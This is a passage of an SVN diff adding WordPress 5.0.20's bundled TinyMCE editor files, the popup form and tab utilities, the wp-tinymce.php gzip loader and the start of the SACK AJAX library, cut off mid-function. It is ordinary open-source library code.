+    explode: $_6cwiepljjgwe7j4.explode,
+    _addCacheSuffix: $_6cwiepljjgwe7j4._addCacheSuffix,
+    isOpera: $_bcvfv9ajjgwe79v.opera,
+    isWebKit: $_bcvfv9ajjgwe79v.webkit,
+    isIE: $_bcvfv9ajjgwe79v.ie,
+    isGecko: $_bcvfv9ajjgwe79v.gecko,
+    isMac: $_bcvfv9ajjgwe79v.mac
+  };
+  tinymce = $_6cwiepljjgwe7j4.extend(tinymce, publicApi);
+  var Tinymce = tinymce;
+
+  var exportToModuleLoaders = function (tinymce) {
+    if (typeof module === 'object') {
+      try {
+        module.exports = tinymce;
+      } catch (_) {
+      }
+    }
+  };
+  var exportToWindowGlobal = function (tinymce) {
+    window.tinymce = tinymce;
+    window.tinyMCE = tinymce;
+  };
+  exportToWindowGlobal(Tinymce);
+  exportToModuleLoaders(Tinymce);
+
+}());
+})();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/tinymce.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/tinymce.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/tinymce.min.js	(revision 56912)
@@ -0,0 +1,2 @@
+// 4.8.0 (2018-06-27)
+!function(){"use strict";var e,t,n,r,o,i,a,u,s,c,l,f,d,m,g,p,h,v=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t]},q=function(n,r){return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return n(r.apply(null,arguments))}},H=function(e){return function(){return e}},j=function(e){return e},b=function(i){for(var e=[],t=1;t<arguments.length;t++)e[t-1]=arguments[t];for(var a=new Array(arguments.length-1),n=1;n<arguments.length;n++)a[n-1]=arguments[n];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];for(var n=new Array(arguments.length),r=0;r<n.length;r++)n[r]=arguments[r];var o=a.concat(n);return i.apply(null,o)}},y=H(!1),C=H(!0),x=y,w=C,N=function(){return E},E=(r={fold:function(e,t){return e()},is:x,isSome:x,isNone:w,getOr:n=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:function(){return 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e=u,t=s,n=c,o=0,(i=Ow(e/=255,Ow(t/=255,n/=255)))===(a=Pw(e,Pw(t,n)))?{h:0,s:0,v:100*(o=i)}:(r=(a-i)/a,{h:Lw(60*((e===i?3:n===i?1:5)-(e===i?t-n:n===i?e-t:n-e)/((o=a)-i))),s:Lw(100*r),v:Lw(100*o)});var e,t,n,r,o,i,a},n.toHex=function(){var e=function(e){return 1<(e=parseInt(e,10).toString(16)).length?e:"0"+e};return"#"+e(u)+e(s)+e(c)},n.parse=t,n}},dom:{EventUtils:je,Sizzle:Tt,DomQuery:pn,TreeWalker:io,DOMUtils:hi,ScriptLoader:xi,RangeUtils:xw,Serializer:fy,ControlSelection:hy,BookmarkManager:my,Selection:Wy,Event:je.Event},html:{Styles:ii,Entities:Wo,Node:Yb,Schema:ri,SaxParser:tv,DomParser:ay,Writer:rf,Serializer:of},ui:{Factory:_w},Env:Re,AddOnManager:Ei,Annotator:Vl,Formatter:Mb,UndoManager:Ev,EditorCommands:qg,WindowManager:Pp,NotificationManager:Op,EditorObservable:sp,Shortcuts:mp,Editor:Hx,FocusManager:Kx,EditorManager:vw,DOM:hi.DOM,ScriptLoader:xi.ScriptLoader,PluginManager:Ei.PluginManager,ThemeManager:Ei.ThemeManager,trim:Yt.trim,isArray:Yt.isArray,is:Yt.is,toArray:Yt.toArray,makeMap:Yt.makeMap,each:Yt.each,map:Yt.map,grep:Yt.grep,inArray:Yt.inArray,extend:Yt.extend,create:Yt.create,walk:Yt.walk,createNS:Yt.createNS,resolve:Yt.resolve,explode:Yt.explode,_addCacheSuffix:Yt._addCacheSuffix,isOpera:Re.opera,isWebKit:Re.webkit,isIE:Re.ie,isGecko:Re.gecko,isMac:Re.mac},Ww=jw=Yt.extend(jw,$w);qw=Ww,window.tinymce=qw,window.tinyMCE=qw,function(e){if("object"==typeof module)try{module.exports=e}catch(t){}}(Ww)}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/utils/editable_selects.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/utils/editable_selects.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/utils/editable_selects.js	(revision 56912)
@@ -0,0 +1,72 @@
+/**
+ * editable_selects.js
+ *
+ * Released under LGPL License.
+ * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+var TinyMCE_EditableSelects = {
+  editSelectElm : null,
+
+  init : function () {
+    var nl = document.getElementsByTagName("select"), i, d = document, o;
+
+    for (i = 0; i < nl.length; i++) {
+      if (nl[i].className.indexOf('mceEditableSelect') != -1) {
+        o = new Option(tinyMCEPopup.editor.translate('value'), '__mce_add_custom__');
+
+        o.className = 'mceAddSelectValue';
+
+        nl[i].options[nl[i].options.length] = o;
+        nl[i].onchange = TinyMCE_EditableSelects.onChangeEditableSelect;
+      }
+    }
+  },
+
+  onChangeEditableSelect : function (e) {
+    var d = document, ne, se = window.event ? window.event.srcElement : e.target;
+
+    if (se.options[se.selectedIndex].value == '__mce_add_custom__') {
+      ne = d.createElement("input");
+      ne.id = se.id + "_custom";
+      ne.name = se.name + "_custom";
+      ne.type = "text";
+
+      ne.style.width = se.offsetWidth + 'px';
+      se.parentNode.insertBefore(ne, se);
+      se.style.display = 'none';
+      ne.focus();
+      ne.onblur = TinyMCE_EditableSelects.onBlurEditableSelectInput;
+      ne.onkeydown = TinyMCE_EditableSelects.onKeyDown;
+      TinyMCE_EditableSelects.editSelectElm = se;
+    }
+  },
+
+  onBlurEditableSelectInput : function () {
+    var se = TinyMCE_EditableSelects.editSelectElm;
+
+    if (se) {
+      if (se.previousSibling.value != '') {
+        addSelectValue(document.forms[0], se.id, se.previousSibling.value, se.previousSibling.value);
+        selectByValue(document.forms[0], se.id, se.previousSibling.value);
+      } else {
+        selectByValue(document.forms[0], se.id, '');
+      }
+
+      se.style.display = 'inline';
+      se.parentNode.removeChild(se.previousSibling);
+      TinyMCE_EditableSelects.editSelectElm = null;
+    }
+  },
+
+  onKeyDown : function (e) {
+    e = e || window.event;
+
+    if (e.keyCode == 13) {
+      TinyMCE_EditableSelects.onBlurEditableSelectInput();
+    }
+  }
+};
Index: /tags/5.0.20/src/wp-includes/js/tinymce/utils/form_utils.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/utils/form_utils.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/utils/form_utils.js	(revision 56912)
@@ -0,0 +1,222 @@
+/**
+ * form_utils.js
+ *
+ * Released under LGPL License.
+ * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+var themeBaseURL = tinyMCEPopup.editor.baseURI.toAbsolute('themes/' + tinyMCEPopup.getParam("theme"));
+
+function getColorPickerHTML(id, target_form_element) {
+  var h = "", dom = tinyMCEPopup.dom;
+
+  if (label = dom.select('label[for=' + target_form_element + ']')[0]) {
+    label.id = label.id || dom.uniqueId();
+  }
+
+  h += '<a role="button" aria-labelledby="' + id + '_label" id="' + id + '_link" href="javascript:;" onclick="tinyMCEPopup.pickColor(event,\'' + target_form_element + '\');" onmousedown="return false;" class="pickcolor">';
+  h += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;<span id="' + id + '_label" class="mceVoiceLabel mceIconOnly" style="display:none;">' + tinyMCEPopup.getLang('browse') + '</span></span></a>';
+
+  return h;
+}
+
+function updateColor(img_id, form_element_id) {
+  document.getElementById(img_id).style.backgroundColor = document.forms[0].elements[form_element_id].value;
+}
+
+function setBrowserDisabled(id, state) {
+  var img = document.getElementById(id);
+  var lnk = document.getElementById(id + "_link");
+
+  if (lnk) {
+    if (state) {
+      lnk.setAttribute("realhref", lnk.getAttribute("href"));
+      lnk.removeAttribute("href");
+      tinyMCEPopup.dom.addClass(img, 'disabled');
+    } else {
+      if (lnk.getAttribute("realhref")) {
+        lnk.setAttribute("href", lnk.getAttribute("realhref"));
+      }
+
+      tinyMCEPopup.dom.removeClass(img, 'disabled');
+    }
+  }
+}
+
+function getBrowserHTML(id, target_form_element, type, prefix) {
+  var option = prefix + "_" + type + "_browser_callback", cb, html;
+
+  cb = tinyMCEPopup.getParam(option, tinyMCEPopup.getParam("file_browser_callback"));
+
+  if (!cb) {
+    return "";
+  }
+
+  html = "";
+  html += '<a id="' + id + '_link" href="javascript:openBrowser(\'' + id + '\',\'' + target_form_element + '\', \'' + type + '\',\'' + option + '\');" onmousedown="return false;" class="browse">';
+  html += '<span id="' + id + '" title="' + tinyMCEPopup.getLang('browse') + '">&nbsp;</span></a>';
+
+  return html;
+}
+
+function openBrowser(img_id, target_form_element, type, option) {
+  var img = document.getElementById(img_id);
+
+  if (img.className != "mceButtonDisabled") {
+    tinyMCEPopup.openBrowser(target_form_element, type, option);
+  }
+}
+
+function selectByValue(form_obj, field_name, value, add_custom, ignore_case) {
+  if (!form_obj || !form_obj.elements[field_name]) {
+    return;
+  }
+
+  if (!value) {
+    value = "";
+  }
+
+  var sel = form_obj.elements[field_name];
+
+  var found = false;
+  for (var i = 0; i < sel.options.length; i++) {
+    var option = sel.options[i];
+
+    if (option.value == value || (ignore_case && option.value.toLowerCase() == value.toLowerCase())) {
+      option.selected = true;
+      found = true;
+    } else {
+      option.selected = false;
+    }
+  }
+
+  if (!found && add_custom && value != '') {
+    var option = new Option(value, value);
+    option.selected = true;
+    sel.options[sel.options.length] = option;
+    sel.selectedIndex = sel.options.length - 1;
+  }
+
+  return found;
+}
+
+function getSelectValue(form_obj, field_name) {
+  var elm = form_obj.elements[field_name];
+
+  if (elm == null || elm.options == null || elm.selectedIndex === -1) {
+    return "";
+  }
+
+  return elm.options[elm.selectedIndex].value;
+}
+
+function addSelectValue(form_obj, field_name, name, value) {
+  var s = form_obj.elements[field_name];
+  var o = new Option(name, value);
+  s.options[s.options.length] = o;
+}
+
+function addClassesToList(list_id, specific_option) {
+  // Setup class droplist
+  var styleSelectElm = document.getElementById(list_id);
+  var styles = tinyMCEPopup.getParam('theme_advanced_styles', false);
+  styles = tinyMCEPopup.getParam(specific_option, styles);
+
+  if (styles) {
+    var stylesAr = styles.split(';');
+
+    for (var i = 0; i < stylesAr.length; i++) {
+      if (stylesAr != "") {
+        var key, value;
+
+        key = stylesAr[i].split('=')[0];
+        value = stylesAr[i].split('=')[1];
+
+        styleSelectElm.options[styleSelectElm.length] = new Option(key, value);
+      }
+    }
+  } else {
+    /*tinymce.each(tinyMCEPopup.editor.dom.getClasses(), function(o) {
+    styleSelectElm.options[styleSelectElm.length] = new Option(o.title || o['class'], o['class']);
+    });*/
+  }
+}
+
+function isVisible(element_id) {
+  var elm = document.getElementById(element_id);
+
+  return elm && elm.style.display != "none";
+}
+
+function convertRGBToHex(col) {
+  var re = new RegExp("rgb\\s*\\(\\s*([0-9]+).*,\\s*([0-9]+).*,\\s*([0-9]+).*\\)", "gi");
+
+  var rgb = col.replace(re, "$1,$2,$3").split(',');
+  if (rgb.length == 3) {
+    r = parseInt(rgb[0]).toString(16);
+    g = parseInt(rgb[1]).toString(16);
+    b = parseInt(rgb[2]).toString(16);
+
+    r = r.length == 1 ? '0' + r : r;
+    g = g.length == 1 ? '0' + g : g;
+    b = b.length == 1 ? '0' + b : b;
+
+    return "#" + r + g + b;
+  }
+
+  return col;
+}
+
+function convertHexToRGB(col) {
+  if (col.indexOf('#') != -1) {
+    col = col.replace(new RegExp('[^0-9A-F]', 'gi'), '');
+
+    r = parseInt(col.substring(0, 2), 16);
+    g = parseInt(col.substring(2, 4), 16);
+    b = parseInt(col.substring(4, 6), 16);
+
+    return "rgb(" + r + "," + g + "," + b + ")";
+  }
+
+  return col;
+}
+
+function trimSize(size) {
+  return size.replace(/([0-9\.]+)(px|%|in|cm|mm|em|ex|pt|pc)/i, '$1$2');
+}
+
+function getCSSSize(size) {
+  size = trimSize(size);
+
+  if (size == "") {
+    return "";
+  }
+
+  // Add px
+  if (/^[0-9]+$/.test(size)) {
+    size += 'px';
+  }
+  // Sanity check, IE doesn't like broken values
+  else if (!(/^[0-9\.]+(px|%|in|cm|mm|em|ex|pt|pc)$/i.test(size))) {
+    return "";
+  }
+
+  return size;
+}
+
+function getStyle(elm, attrib, style) {
+  var val = tinyMCEPopup.dom.getAttrib(elm, attrib);
+
+  if (val != '') {
+    return '' + val;
+  }
+
+  if (typeof (style) == 'undefined') {
+    style = attrib;
+  }
+
+  return tinyMCEPopup.dom.getStyle(elm, style);
+}
Index: /tags/5.0.20/src/wp-includes/js/tinymce/utils/mctabs.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/utils/mctabs.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/utils/mctabs.js	(revision 56912)
@@ -0,0 +1,168 @@
+/**
+ * mctabs.js
+ *
+ * Released under LGPL License.
+ * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/*jshint globals: tinyMCEPopup */
+
+function MCTabs() {
+  this.settings = [];
+  this.onChange = tinyMCEPopup.editor.windowManager.createInstance('tinymce.util.Dispatcher');
+}
+
+MCTabs.prototype.init = function (settings) {
+  this.settings = settings;
+};
+
+MCTabs.prototype.getParam = function (name, default_value) {
+  var value = null;
+
+  value = (typeof (this.settings[name]) == "undefined") ? default_value : this.settings[name];
+
+  // Fix bool values
+  if (value == "true" || value == "false") {
+    return (value == "true");
+  }
+
+  return value;
+};
+
+MCTabs.prototype.showTab = function (tab) {
+  tab.className = 'current';
+  tab.setAttribute("aria-selected", true);
+  tab.setAttribute("aria-expanded", true);
+  tab.tabIndex = 0;
+};
+
+MCTabs.prototype.hideTab = function (tab) {
+  var t = this;
+
+  tab.className = '';
+  tab.setAttribute("aria-selected", false);
+  tab.setAttribute("aria-expanded", false);
+  tab.tabIndex = -1;
+};
+
+MCTabs.prototype.showPanel = function (panel) {
+  panel.className = 'current';
+  panel.setAttribute("aria-hidden", false);
+};
+
+MCTabs.prototype.hidePanel = function (panel) {
+  panel.className = 'panel';
+  panel.setAttribute("aria-hidden", true);
+};
+
+MCTabs.prototype.getPanelForTab = function (tabElm) {
+  return tinyMCEPopup.dom.getAttrib(tabElm, "aria-controls");
+};
+
+MCTabs.prototype.displayTab = function (tab_id, panel_id, avoid_focus) {
+  var panelElm, panelContainerElm, tabElm, tabContainerElm, selectionClass, nodes, i, t = this;
+
+  tabElm = document.getElementById(tab_id);
+
+  if (panel_id === undefined) {
+    panel_id = t.getPanelForTab(tabElm);
+  }
+
+  panelElm = document.getElementById(panel_id);
+  panelContainerElm = panelElm ? panelElm.parentNode : null;
+  tabContainerElm = tabElm ? tabElm.parentNode : null;
+  selectionClass = t.getParam('selection_class', 'current');
+
+  if (tabElm && tabContainerElm) {
+    nodes = tabContainerElm.childNodes;
+
+    // Hide all other tabs
+    for (i = 0; i < nodes.length; i++) {
+      if (nodes[i].nodeName == "LI") {
+        t.hideTab(nodes[i]);
+      }
+    }
+
+    // Show selected tab
+    t.showTab(tabElm);
+  }
+
+  if (panelElm && panelContainerElm) {
+    nodes = panelContainerElm.childNodes;
+
+    // Hide all other panels
+    for (i = 0; i < nodes.length; i++) {
+      if (nodes[i].nodeName == "DIV") {
+        t.hidePanel(nodes[i]);
+      }
+    }
+
+    if (!avoid_focus) {
+      tabElm.focus();
+    }
+
+    // Show selected panel
+    t.showPanel(panelElm);
+  }
+};
+
+MCTabs.prototype.getAnchor = function () {
+  var pos, url = document.location.href;
+
+  if ((pos = url.lastIndexOf('#')) != -1) {
+    return url.substring(pos + 1);
+  }
+
+  return "";
+};
+
+
+//Global instance
+var mcTabs = new MCTabs();
+
+tinyMCEPopup.onInit.add(function () {
+  var tinymce = tinyMCEPopup.getWin().tinymce, dom = tinyMCEPopup.dom, each = tinymce.each;
+
+  each(dom.select('div.tabs'), function (tabContainerElm) {
+    //var keyNav;
+
+    dom.setAttrib(tabContainerElm, "role", "tablist");
+
+    var items = tinyMCEPopup.dom.select('li', tabContainerElm);
+    var action = function (id) {
+      mcTabs.displayTab(id, mcTabs.getPanelForTab(id));
+      mcTabs.onChange.dispatch(id);
+    };
+
+    each(items, function (item) {
+      dom.setAttrib(item, 'role', 'tab');
+      dom.bind(item, 'click', function (evt) {
+        action(item.id);
+      });
+    });
+
+    dom.bind(dom.getRoot(), 'keydown', function (evt) {
+      if (evt.keyCode === 9 && evt.ctrlKey && !evt.altKey) { // Tab
+        //keyNav.moveFocus(evt.shiftKey ? -1 : 1);
+        tinymce.dom.Event.cancel(evt);
+      }
+    });
+
+    each(dom.select('a', tabContainerElm), function (a) {
+      dom.setAttrib(a, 'tabindex', '-1');
+    });
+
+    /*keyNav = tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', {
+      root: tabContainerElm,
+      items: items,
+      onAction: action,
+      actOnFocus: true,
+      enableLeftRight: true,
+      enableUpDown: true
+    }, tinyMCEPopup.dom);*/
+  }
+);
+});
Index: /tags/5.0.20/src/wp-includes/js/tinymce/utils/validate.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/utils/validate.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/utils/validate.js	(revision 56912)
@@ -0,0 +1,267 @@
+/**
+ * validate.js
+ *
+ * Released under LGPL License.
+ * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+/**
+  // String validation:
+
+  if (!Validator.isEmail('myemail'))
+    alert('Invalid email.');
+
+  // Form validation:
+
+  var f = document.forms['myform'];
+
+  if (!Validator.isEmail(f.myemail))
+    alert('Invalid email.');
+*/
+
+var Validator = {
+  isEmail : function (s) {
+    return this.test(s, '^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+@[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$');
+  },
+
+  isAbsUrl : function (s) {
+    return this.test(s, '^(news|telnet|nttp|file|http|ftp|https)://[-A-Za-z0-9\\.]+\\/?.*$');
+  },
+
+  isSize : function (s) {
+    return this.test(s, '^[0-9.]+(%|in|cm|mm|em|ex|pt|pc|px)?$');
+  },
+
+  isId : function (s) {
+    return this.test(s, '^[A-Za-z_]([A-Za-z0-9_])*$');
+  },
+
+  isEmpty : function (s) {
+    var nl, i;
+
+    if (s.nodeName == 'SELECT' && s.selectedIndex < 1) {
+      return true;
+    }
+
+    if (s.type == 'checkbox' && !s.checked) {
+      return true;
+    }
+
+    if (s.type == 'radio') {
+      for (i = 0, nl = s.form.elements; i < nl.length; i++) {
+        if (nl[i].type == "radio" && nl[i].name == s.name && nl[i].checked) {
+          return false;
+        }
+      }
+
+      return true;
+    }
+
+    return new RegExp('^\\s*$').test(s.nodeType == 1 ? s.value : s);
+  },
+
+  isNumber : function (s, d) {
+    return !isNaN(s.nodeType == 1 ? s.value : s) && (!d || !this.test(s, '^-?[0-9]*\\.[0-9]*$'));
+  },
+
+  test : function (s, p) {
+    s = s.nodeType == 1 ? s.value : s;
+
+    return s == '' || new RegExp(p).test(s);
+  }
+};
+
+var AutoValidator = {
+  settings : {
+    id_cls : 'id',
+    int_cls : 'int',
+    url_cls : 'url',
+    number_cls : 'number',
+    email_cls : 'email',
+    size_cls : 'size',
+    required_cls : 'required',
+    invalid_cls : 'invalid',
+    min_cls : 'min',
+    max_cls : 'max'
+  },
+
+  init : function (s) {
+    var n;
+
+    for (n in s) {
+      this.settings[n] = s[n];
+    }
+  },
+
+  validate : function (f) {
+    var i, nl, s = this.settings, c = 0;
+
+    nl = this.tags(f, 'label');
+    for (i = 0; i < nl.length; i++) {
+      this.removeClass(nl[i], s.invalid_cls);
+      nl[i].setAttribute('aria-invalid', false);
+    }
+
+    c += this.validateElms(f, 'input');
+    c += this.validateElms(f, 'select');
+    c += this.validateElms(f, 'textarea');
+
+    return c == 3;
+  },
+
+  invalidate : function (n) {
+    this.mark(n.form, n);
+  },
+
+  getErrorMessages : function (f) {
+    var nl, i, s = this.settings, field, msg, values, messages = [], ed = tinyMCEPopup.editor;
+    nl = this.tags(f, "label");
+    for (i = 0; i < nl.length; i++) {
+      if (this.hasClass(nl[i], s.invalid_cls)) {
+        field = document.getElementById(nl[i].getAttribute("for"));
+        values = { field: nl[i].textContent };
+        if (this.hasClass(field, s.min_cls, true)) {
+          message = ed.getLang('invalid_data_min');
+          values.min = this.getNum(field, s.min_cls);
+        } else if (this.hasClass(field, s.number_cls)) {
+          message = ed.getLang('invalid_data_number');
+        } else if (this.hasClass(field, s.size_cls)) {
+          message = ed.getLang('invalid_data_size');
+        } else {
+          message = ed.getLang('invalid_data');
+        }
+
+        message = message.replace(/{\#([^}]+)\}/g, function (a, b) {
+          return values[b] || '{#' + b + '}';
+        });
+        messages.push(message);
+      }
+    }
+    return messages;
+  },
+
+  reset : function (e) {
+    var t = ['label', 'input', 'select', 'textarea'];
+    var i, j, nl, s = this.settings;
+
+    if (e == null) {
+      return;
+    }
+
+    for (i = 0; i < t.length; i++) {
+      nl = this.tags(e.form ? e.form : e, t[i]);
+      for (j = 0; j < nl.length; j++) {
+        this.removeClass(nl[j], s.invalid_cls);
+        nl[j].setAttribute('aria-invalid', false);
+      }
+    }
+  },
+
+  validateElms : function (f, e) {
+    var nl, i, n, s = this.settings, st = true, va = Validator, v;
+
+    nl = this.tags(f, e);
+    for (i = 0; i < nl.length; i++) {
+      n = nl[i];
+
+      this.removeClass(n, s.invalid_cls);
+
+      if (this.hasClass(n, s.required_cls) && va.isEmpty(n)) {
+        st = this.mark(f, n);
+      }
+
+      if (this.hasClass(n, s.number_cls) && !va.isNumber(n)) {
+        st = this.mark(f, n);
+      }
+
+      if (this.hasClass(n, s.int_cls) && !va.isNumber(n, true)) {
+        st = this.mark(f, n);
+      }
+
+      if (this.hasClass(n, s.url_cls) && !va.isAbsUrl(n)) {
+        st = this.mark(f, n);
+      }
+
+      if (this.hasClass(n, s.email_cls) && !va.isEmail(n)) {
+        st = this.mark(f, n);
+      }
+
+      if (this.hasClass(n, s.size_cls) && !va.isSize(n)) {
+        st = this.mark(f, n);
+      }
+
+      if (this.hasClass(n, s.id_cls) && !va.isId(n)) {
+        st = this.mark(f, n);
+      }
+
+      if (this.hasClass(n, s.min_cls, true)) {
+        v = this.getNum(n, s.min_cls);
+
+        if (isNaN(v) || parseInt(n.value) < parseInt(v)) {
+          st = this.mark(f, n);
+        }
+      }
+
+      if (this.hasClass(n, s.max_cls, true)) {
+        v = this.getNum(n, s.max_cls);
+
+        if (isNaN(v) || parseInt(n.value) > parseInt(v)) {
+          st = this.mark(f, n);
+        }
+      }
+    }
+
+    return st;
+  },
+
+  hasClass : function (n, c, d) {
+    return new RegExp('\\b' + c + (d ? '[0-9]+' : '') + '\\b', 'g').test(n.className);
+  },
+
+  getNum : function (n, c) {
+    c = n.className.match(new RegExp('\\b' + c + '([0-9]+)\\b', 'g'))[0];
+    c = c.replace(/[^0-9]/g, '');
+
+    return c;
+  },
+
+  addClass : function (n, c, b) {
+    var o = this.removeClass(n, c);
+    n.className = b ? c + (o !== '' ? (' ' + o) : '') : (o !== '' ? (o + ' ') : '') + c;
+  },
+
+  removeClass : function (n, c) {
+    c = n.className.replace(new RegExp("(^|\\s+)" + c + "(\\s+|$)"), ' ');
+    return n.className = c !== ' ' ? c : '';
+  },
+
+  tags : function (f, s) {
+    return f.getElementsByTagName(s);
+  },
+
+  mark : function (f, n) {
+    var s = this.settings;
+
+    this.addClass(n, s.invalid_cls);
+    n.setAttribute('aria-invalid', 'true');
+    this.markLabels(f, n, s.invalid_cls);
+
+    return false;
+  },
+
+  markLabels : function (f, n, ic) {
+    var nl, i;
+
+    nl = this.tags(f, "label");
+    for (i = 0; i < nl.length; i++) {
+      if (nl[i].getAttribute("for") == n.id || nl[i].htmlFor == n.id) {
+        this.addClass(nl[i], ic);
+      }
+    }
+
+    return null;
+  }
+};
Index: /tags/5.0.20/src/wp-includes/js/tinymce/wp-tinymce.php
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/wp-tinymce.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/wp-tinymce.php	(revision 56912)
@@ -0,0 +1,39 @@
+<?php
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( -1 ) for debugging.
+ */
+error_reporting(0);
+
+$basepath = dirname(__FILE__);
+
+function get_file($path) {
+
+	if ( function_exists('realpath') )
+		$path = realpath($path);
+
+	if ( ! $path || ! @is_file($path) )
+		return false;
+
+	return @file_get_contents($path);
+}
+
+$expires_offset = 31536000; // 1 year
+
+header('Content-Type: application/javascript; charset=UTF-8');
+header('Vary: Accept-Encoding'); // Handle proxies
+header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT');
+header("Cache-Control: public, max-age=$expires_offset");
+
+if ( isset($_GET['c']) && 1 == $_GET['c'] && isset($_SERVER['HTTP_ACCEPT_ENCODING'])
+	&& false !== stripos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip') && ( $file = get_file($basepath . '/wp-tinymce.js.gz') ) ) {
+
+	header('Content-Encoding: gzip');
+	echo $file;
+} else {
+	// Back compat. This file shouldn't be used if this condition can occur (as in, if gzip isn't accepted).
+	echo get_file( $basepath . '/tinymce.min.js' );
+	echo get_file( $basepath . '/plugins/compat3x/plugin.min.js' );
+}
+exit;
Index: /tags/5.0.20/src/wp-includes/js/tw-sack.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tw-sack.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tw-sack.js	(revision 56912)
@@ -0,0 +1,193 @@
+/* Simple AJAX Code-Kit (SACK) v1.6.1 */
+/* ©2005 Gregory Wild-Smith */
+/* www.twilightuniverse.com */
+/* Software licenced under a modified X11 licence,
+   see documentation or authors website for more details */
+
+function sack(file) {
+	this.xmlhttp = null;
+
+	this.resetData = function() {
+		this.method = "POST";
+  		this.queryStringSeparator = "?";
+		this.argumentSeparator = "&";
+		this.URLString = "";
+		this.encodeURIString = true;
+  		this.execute = false;
+  		this.element = null;
+		this.elementObj = null;
+		this.requestFile = file;
+		this.vars = new Object();
+		this.responseStatus = new Array(2);
+  	};
+
+	this.resetFunctions = function() {
+  		this.onLoading = function() { };
+  		this.onLoaded = function() { };
+  		this.onInteractive = function() { };
+  		this.onCompletion = function() { };
+  		this.onError = function() { };
+		this.onFail = function() { };
+	};
+
+	this.reset = function() {
+		this.resetFunctions();
+		this.resetData();
+	};
+
+	this.createAJAX = function() {
+		try {
+			this.xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
+		} catch (e1) {
+			try {
+				this.xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
+			} catch (e2) {
+				this.xmlhttp = null;
+			}
+		}
+
+		if (! this.xmlhttp) {
+			if (typeof XMLHttpRequest != "undefined") {
+				this.xmlhttp = new XMLHttpRequest();
+			} else {
+				this.failed = true;
+			}
+		}
+	};
+
+	this.setVar = function(name, value){
+		this.vars[name] = Array(value, false);
+	};
+
+	this.encVar = function(name, value, returnvars) {
+		if (true == returnvars) {
+			return Array(encodeURIComponent(name), encodeURIComponent(value));
+		} else {
+			this.vars[encodeURIComponent(name)] = Array(encodeURIComponent(value), true);
+		}
+	}
+
+	this.processURLString = function(string, encode) {
+		encoded = encodeURIComponent(this.argumentSeparator);
+		regexp = new RegExp(this.argumentSeparator + "|" + encoded);
+		varArray = string.split(regexp);
+		for (i = 0; i < varArray.length; i++){
+			urlVars = varArray[i].split("=");
+			if (true == encode){
+				this.encVar(urlVars[0], urlVars[1]);
+			} else {
+				this.setVar(urlVars[0], urlVars[1]);
+			}
+		}
+	}
+
+	this.createURLString = function(urlstring) {
+		if (this.encodeURIString && this.URLString.length) {
+			this.processURLString(this.URLString, true);
+		}
+
+		if (urlstring) {
+			if (this.URLString.length) {
+				this.URLString += this.argumentSeparator + urlstring;
+			} else {
+				this.URLString = urlstring;
+			}
+		}
+
+		// prevents caching of URLString
+		this.setVar("rndval", new Date().getTime());
+
+		urlstringtemp = new Array();
+		for (key in this.vars) {
+			if (false == this.vars[key][1] && true == this.encodeURIString) {
+				encoded = this.encVar(key, this.vars[key][0], true);
+				delete this.vars[key];
+				this.vars[encoded[0]] = Array(encoded[1], true);
+				key = encoded[0];
+			}
+
+			urlstringtemp[urlstringtemp.length] = key + "=" + this.vars[key][0];
+		}
+		if (urlstring){
+			this.URLString += this.argumentSeparator + urlstringtemp.join(this.argumentSeparator);
+		} else {
+			this.URLString += urlstringtemp.join(this.argumentSeparator);
+		}
+	}
+
+	this.runResponse = function() {
+		eval(this.response);
+	}
+
+	this.runAJAX = function(urlstring) {
+		if (this.failed) {
+			this.onFail();
+		} else {
+			this.createURLString(urlstring);
+			if (this.element) {
+				this.elementObj = document.getElementById(this.element);
+			}
+			if (this.xmlhttp) {
+				var self = this;
+				if (this.method == "GET") {
+					totalurlstring = this.requestFile + this.queryStringSeparator + this.URLString;
+					this.xmlhttp.open(this.method, totalurlstring, true);
+				} else {
+					this.xmlhttp.open(this.method, this.requestFile, true);
+					try {
+						this.xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
+					} catch (e) { }
+				}
+
+				this.xmlhttp.onreadystatechange = function() {
